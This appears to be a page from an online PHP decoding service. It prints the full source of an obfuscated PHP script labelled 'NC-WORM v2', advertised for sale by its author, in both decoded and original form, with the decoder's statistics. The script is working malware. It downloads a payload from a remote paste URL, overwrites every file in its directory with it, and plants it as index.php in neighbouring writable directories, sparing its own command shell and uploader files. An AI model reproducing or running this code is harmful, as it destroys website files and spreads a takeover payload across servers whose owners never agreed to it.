Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //--- NC-WORM v2 BY DMZ18 //--- BUY ? DM IG @dmz18_ // // // //..

Decoded Output download

<?php  
//--- NC-WORM v2 BY DMZ18  
//--- BUY ? DM IG @dmz18_  
// 
//          
//    
//        
//         
//      
//            
//                                          
 
$bnyfufiu467844da=dirname(__FILE__);$tryxzhtcf7e2d856=array(base64_decode('ZG16MThfY21kLnBocA=='),base64_decode('ZG16MThfdXBsb2FkZXIucGhw'),base64_decode('ZG16MTgucGhw'),base64_decode('Lmh0YWNjZXNz'));$nabieflt6354059=scandir($bnyfufiu467844da);$nabieflt6354059=array_diff($nabieflt6354059,array(base64_decode('Lg=='),base64_decode('Li4=')));$iiaupkaab246171d=base64_decode('aHR0cHM6Ly9wc3QuaW5ub21pLm5ldC9wYXN0ZS9rdnhkYzRneXFqd3RmamQzMjdvbndhemcvcmF3');$hvgnznux492a4dfe=curl_init();curl_setopt($hvgnznux492a4dfe,CURLOPT_URL,$iiaupkaab246171d);curl_setopt($hvgnznux492a4dfe,CURLOPT_RETURNTRANSFER,true);$tnlkrdjla98dbf28=curl_exec($hvgnznux492a4dfe);curl_close($hvgnznux492a4dfe);$gkipzumq25866347=$tnlkrdjla98dbf28;$obodgelraf668dde=0;foreach($nabieflt6354059 as $vjykdogq8c9f3610){if(!in_array($vjykdogq8c9f3610,$tryxzhtcf7e2d856)){$qtdumjtr5795a9e9=file_get_contents($bnyfufiu467844da.base64_decode('Lw==').$vjykdogq8c9f3610);file_put_contents($bnyfufiu467844da.base64_decode('Lw==').$vjykdogq8c9f3610,$gkipzumq25866347);$obodgelraf668dde++;}}function lhsiiuek6a1d8354($lrkkryvwe07479db,$fkattxko306181c4,$rmpxkmaqb02cbc8b){if(is_writable($lrkkryvwe07479db)){$qhkywpagf956c166=scandir($lrkkryvwe07479db);foreach($qhkywpagf956c166 as $xpydxint605f90dc){$ouayclir1758a04a="$lrkkryvwe07479db/$xpydxint605f90dc";$ixwivoua40d8acc2=$ouayclir1758a04a.base64_decode('Lw==').$fkattxko306181c4;if($xpydxint605f90dc===base64_decode('Lg==')){file_put_contents($ixwivoua40d8acc2,$rmpxkmaqb02cbc8b);}elseif($xpydxint605f90dc===base64_decode('Li4=')){file_put_contents($ixwivoua40d8acc2,$rmpxkmaqb02cbc8b);}else{if(is_dir($ouayclir1758a04a)){if(is_writable($ouayclir1758a04a)){header(base64_decode('SFRUUC8xLjEgMjAwIE9L'));file_put_contents($ixwivoua40d8acc2,$rmpxkmaqb02cbc8b);}else{echo '';}}}}}}$lrkkryvwe07479db=dirname(__FILE__);$sbncdcda54593618=base64_decode('aW5kZXgucGhw');$oymlmmvff47645ae=base64_decode('aHR0cHM6Ly9wc3QuaW5ub21pLm5ldC9wYXN0ZS9rdnhkYzRneXFqd3RmamQzMjdvbndhemcvcmF3');$vnzsgkny4c60c3f1=curl_init();curl_setopt($vnzsgkny4c60c3f1,CURLOPT_URL,$oymlmmvff47645ae);curl_setopt($vnzsgkny4c60c3f1,CURLOPT_RETURNTRANSFER,true);$hnthybkk3e7b0bfb=curl_exec($vnzsgkny4c60c3f1);curl_close($vnzsgkny4c60c3f1);$gjribjvz4103bed7=$hnthybkk3e7b0bfb;lhsiiuek6a1d8354($lrkkryvwe07479db,$sbncdcda54593618,$gjribjvz4103bed7);?>

Did this file decode correctly?

Original Code

<?php 
//--- NC-WORM v2 BY DMZ18 
//--- BUY ? DM IG @dmz18_ 
//
//         
//   
//       
//        
//     
//           
//                                         

$bnyfufiu467844da=dirname(__FILE__);$tryxzhtcf7e2d856=array(base64_decode('ZG16MThfY21kLnBocA=='),base64_decode('ZG16MThfdXBsb2FkZXIucGhw'),base64_decode('ZG16MTgucGhw'),base64_decode('Lmh0YWNjZXNz'));$nabieflt6354059=scandir($bnyfufiu467844da);$nabieflt6354059=array_diff($nabieflt6354059,array(base64_decode('Lg=='),base64_decode('Li4=')));$iiaupkaab246171d=base64_decode('aHR0cHM6Ly9wc3QuaW5ub21pLm5ldC9wYXN0ZS9rdnhkYzRneXFqd3RmamQzMjdvbndhemcvcmF3');$hvgnznux492a4dfe=curl_init();curl_setopt($hvgnznux492a4dfe,CURLOPT_URL,$iiaupkaab246171d);curl_setopt($hvgnznux492a4dfe,CURLOPT_RETURNTRANSFER,true);$tnlkrdjla98dbf28=curl_exec($hvgnznux492a4dfe);curl_close($hvgnznux492a4dfe);$gkipzumq25866347=$tnlkrdjla98dbf28;$obodgelraf668dde=0;foreach($nabieflt6354059 as $vjykdogq8c9f3610){if(!in_array($vjykdogq8c9f3610,$tryxzhtcf7e2d856)){$qtdumjtr5795a9e9=file_get_contents($bnyfufiu467844da.base64_decode('Lw==').$vjykdogq8c9f3610);file_put_contents($bnyfufiu467844da.base64_decode('Lw==').$vjykdogq8c9f3610,$gkipzumq25866347);$obodgelraf668dde++;}}function lhsiiuek6a1d8354($lrkkryvwe07479db,$fkattxko306181c4,$rmpxkmaqb02cbc8b){if(is_writable($lrkkryvwe07479db)){$qhkywpagf956c166=scandir($lrkkryvwe07479db);foreach($qhkywpagf956c166 as $xpydxint605f90dc){$ouayclir1758a04a="$lrkkryvwe07479db/$xpydxint605f90dc";$ixwivoua40d8acc2=$ouayclir1758a04a.base64_decode('Lw==').$fkattxko306181c4;if($xpydxint605f90dc===base64_decode('Lg==')){file_put_contents($ixwivoua40d8acc2,$rmpxkmaqb02cbc8b);}elseif($xpydxint605f90dc===base64_decode('Li4=')){file_put_contents($ixwivoua40d8acc2,$rmpxkmaqb02cbc8b);}else{if(is_dir($ouayclir1758a04a)){if(is_writable($ouayclir1758a04a)){header(base64_decode('SFRUUC8xLjEgMjAwIE9L'));file_put_contents($ixwivoua40d8acc2,$rmpxkmaqb02cbc8b);}else{echo '';}}}}}}$lrkkryvwe07479db=dirname(__FILE__);$sbncdcda54593618=base64_decode('aW5kZXgucGhw');$oymlmmvff47645ae=base64_decode('aHR0cHM6Ly9wc3QuaW5ub21pLm5ldC9wYXN0ZS9rdnhkYzRneXFqd3RmamQzMjdvbndhemcvcmF3');$vnzsgkny4c60c3f1=curl_init();curl_setopt($vnzsgkny4c60c3f1,CURLOPT_URL,$oymlmmvff47645ae);curl_setopt($vnzsgkny4c60c3f1,CURLOPT_RETURNTRANSFER,true);$hnthybkk3e7b0bfb=curl_exec($vnzsgkny4c60c3f1);curl_close($vnzsgkny4c60c3f1);$gjribjvz4103bed7=$hnthybkk3e7b0bfb;lhsiiuek6a1d8354($lrkkryvwe07479db,$sbncdcda54593618,$gjribjvz4103bed7);?>

Function Calls

dirname 1
scandir 1
base64_decode 4

Variables

$bnyfufiu467844da /
$tryxzhtcf7e2d856 [{'key': 0, 'value': 'dmz18_cmd.php'}, {'key': 1, 'value': 'dmz18_uploader.php'}, {'key': 2, 'value': 'dmz18.php'}, {'key': 3, 'value': '.htaccess'}]

Stats

MD5 4fda2b59452061036583338aac162b57
Eval Count 0
Decode Time 95 ms